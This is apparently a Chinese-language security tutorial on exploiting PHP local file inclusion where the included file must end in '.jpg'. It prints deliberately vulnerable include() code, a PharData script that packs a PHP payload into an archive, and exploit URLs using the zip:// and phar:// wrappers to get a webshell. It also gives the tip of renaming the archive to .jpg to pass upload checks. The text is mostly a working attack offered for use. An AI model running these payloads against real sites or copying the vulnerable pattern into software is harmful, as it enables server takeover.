|
这个方法适用于验证包含文件为特定后缀时。
例如以下代码
- <?php
- $file = $_GET['file'];
- if(isset($file) && strtolower(substr($file, -4)) == ".jpg"){
- include($file);
- }
- ?>
- <?php
- $file = $_GET['file'];
- include($file.'.jpg');
- ?>
复制代码
上面的代码一个验证了后缀是否为jpg,一个是直接添加了jpg后缀,然后才包含。对于现在这种情况,要包含php文件的话的,可以通过截断。但是\x00的截断在php>5.3.4就没用了,而且还要考虑GPC,所以是比较鸡肋的方法。其实我们可以通过zip协议和phar协议来包含文件。
zip://
首先我们新建一个zip文件,里面压缩着一个php脚本。
然后我们构造zip://php.zip#php.jpg
http://127.0.0.1/file.php?file=zip://php.zip%23php.jpg
这样就成功shell了。当然在实际情况下,可能只允许上传jpg文件,那你就把zip改jpg然后继续上传。
phar://
首先我们要用phar类打包一个phar标准包
- <?php
- $p = new PharData(dirname(__FILE__).'/phartest2.zip', 0,'phartest2',Phar::ZIP) ;
- $x=file_get_contents('./php.php');
- $p->addFromString('a.jpg',
- $x);
- ?>
复制代码
会生成一个zip的压缩文件。然后我们构造
http://127.0.0.1/file.php?file=phar://php.zip/php.jpg
也可以直接shell
其中phar适用范围为php>5.3.0
以上的这种包含方式在这样的情况下是无效的。
include(一个规定的路径+可控点+后缀)
第二种情况直接这样http://127.0.0.1/file.php?file=zip://php.zip%23php 就行了
|
|